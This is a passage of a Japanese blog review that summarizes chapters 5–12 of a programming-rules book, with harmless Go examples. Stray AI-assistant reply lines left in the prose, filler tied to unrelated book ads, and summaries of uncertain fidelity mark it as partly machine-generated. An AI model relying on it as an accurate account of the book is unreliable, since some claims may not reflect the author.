Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don't Optimize第5章「The First Lesson of Optimization Is Don't Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\"Unreachable\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn't Running Doesn't Work第8章「Code That Isn't Running Doesn't Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn't Running Doesn't Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7±2個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,João Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + 